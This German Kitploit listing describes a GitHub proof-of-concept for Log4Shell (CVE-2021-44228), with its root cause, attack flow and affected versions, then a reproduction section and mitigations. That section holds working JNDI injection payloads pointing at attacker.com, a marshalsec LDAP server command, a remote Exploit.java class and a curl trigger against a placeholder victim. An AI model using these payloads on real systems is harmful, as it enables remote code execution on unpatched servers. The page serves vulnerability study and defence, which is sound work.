Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2021-44228-log4shell_rce_reproduction — CVE-2021-44228 Log4Shell - Apache Log4j2 JNDI Injection RCE | Kitploit
Tools/GitHubGitHub/razureink/cve-2021-44228-log4shell_rce_reproduction
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungRemote-Access-Tool
GitHubrazureink/cve-2021-44228-log4shell_rce_reproduction

cve-2021-44228-log4shell_rce_reproduction

CVE-2021-44228 Log4Shell - Apache Log4j2 JNDI Injection RCE

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigen
13vor 1 MonatNoch nicht geprüft
Teilen

CVE-2021-44228 — Log4Shell: Remotecodeausführung in Apache Log4j2

CVSS 10.0 KRITISCH | CWE-502: Deserialisierung nicht vertrauenswürdiger Daten | CWE-917: Unzureichende Neutralisierung bei Expression-Language-Injection

Überblick

Log4Shell (CVE-2021-44228) ist wohl die schwerwiegendste Schwachstelle der 2020er-Jahre und betrifft Apache Log4j2 Versionen 2.0 bis 2.14.1. Entdeckt von Chen Zhaojun von Alibaba Cloud Security im November 2021 und am 9. Dezember 2021 öffentlich bekannt gegeben, ermöglicht sie nicht authentifizierte Remotecodeausführung auf hunderten Millionen Servern weltweit.

Die Schwachstelle entsteht durch die JNDI-Lookup-Funktion (Java Naming and Directory Interface) von Log4j2, die beliebige Lookup-Zeichenfolgen wie ${jndi:ldap://attacker.com/a} in Protokollmeldungen erlaubt. Wenn eine benutzerkontrollierte Zeichenfolge, die ein solches Muster enthält, protokolliert wird, führt Log4j2 den JNDI-Lookup aus, der entfernte Java-Klassen laden und ausführen kann.

Technische Details

Grundursache

Log4j2 führte eine Funktion namens „Message Lookup“ ein, die ${...}-Muster in Protokollmeldungen durch Werte aus verschiedenen Quellen (JNDI, Umgebungsvariablen, Systemeigenschaften usw.) ersetzt. Die Klasse () ruft mit Angreifer-kontrollierten Zeichenfolgen ohne ordnungsgemäße Bereinigung auf.

JndiLookup
org.apache.logging.log4j.core.lookup.JndiLookup
InitialContext.lookup()
root@kitploit:~
// Vulnerable code in JndiLookup.java
public String lookup(LogEvent event, String key) {
    if (key == null) {
        return null;
    }
    try {
        // Directly passes attacker-controlled key to JNDI lookup
        return JndiManager.getJndiManager().lookup(key);
    } catch (...

Die Methode lookup() delegiert an javax.naming.InitialContext.lookup(), die entfernte Objekte von LDAP-, RMI-, DNS- oder CORBA-Servern laden kann.

Angriffsablauf

root@kitploit:~
1. Attacker crafts payload: ${jndi:ldap://attacker.com/a}
2. Payload enters application context (HTTP header, user input, etc.)
3. Application logs the payload (e.g., via request logging)
4. Log4j2 processes the ${...} pattern and calls JndiLookup
5. JNDI lookup queries attacker-controlled LDAP server
6. LDAP server responds with a Reference pointing to attacker's Java class
7. Log4j2 / JVM fetches and loads the remote class
8. Attacker's class executes arbitrary code in the application's JVM

Betroffene Versionen

VersionStatus
Log4j 2.0 – 2.14.1Verwundbar
Log4j 2.15.0-rc1Teilweiser Fix (CVE-2021-45046-Bypass)
Log4j 2.15.0Eingeschränkter Fix (JNDI standardmäßig deaktiviert, eingeschränkte Lookups)
Log4j 2.16.0JNDI deaktiviert, Message Lookups entfernt
Log4j 2.17.0Endgültiger Fix für 2.x (CVE-2021-44832)
Log4j 1.xNicht direkt betroffen (andere Codebasis)

Reproduktion

Einrichtung (LDAP-Referral-Server)

Verwenden Sie marshalsec, um einen bösartigen LDAP-Server zu starten:

root@kitploit:~
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

Exploit-Klasse kompilieren

root@kitploit:~
// Exploit.java
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
root@kitploit:~
javac Exploit.java
python3 -m http.server 80  # Serve Exploit.class

Auslösen

root@kitploit:~
python exploit.py --target http://victim.com --payload '${jndi:ldap://attacker.com:1389/Exploit}'

Oder über HTTP-Header:

root@kitploit:~
curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://victim.com

PoC-Code

Das enthaltene exploit.py bietet:

  • Generierung von JNDI-Injection-Payloads (LDAP-, RMI-, DNS-Varianten)
  • HTTP-Header-Injection für gängige Zielsysteme
  • Automatischer LDAP-Referral-Server-Modus
  • Zusammenarbeit mit marshalsec oder eigenständiger Betrieb

Gegenmaßnahmen

AnsatzDetails
Log4j aktualisierenAuf 2.17.0+ (2.x) oder 2.12.4+ (Java 7) aktualisieren
JVM-Flag-Dlog4j2.formatMsgNoLookups=true
JndiLookup entfernenzip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
WAF-Regeln${jndi:-Muster in Anfragen blockieren
NetzwerksteuerungAusgehendes LDAP/RMI an nicht vertrauenswürdige Server blockieren

Referenzen

  • NVD: CVE-2021-44228
  • Apache Log4j Sicherheitshinweis
  • CISA-Log4j-Leitfaden
  • Lunasec-Log4Shell-Analyse
Tool herunterladen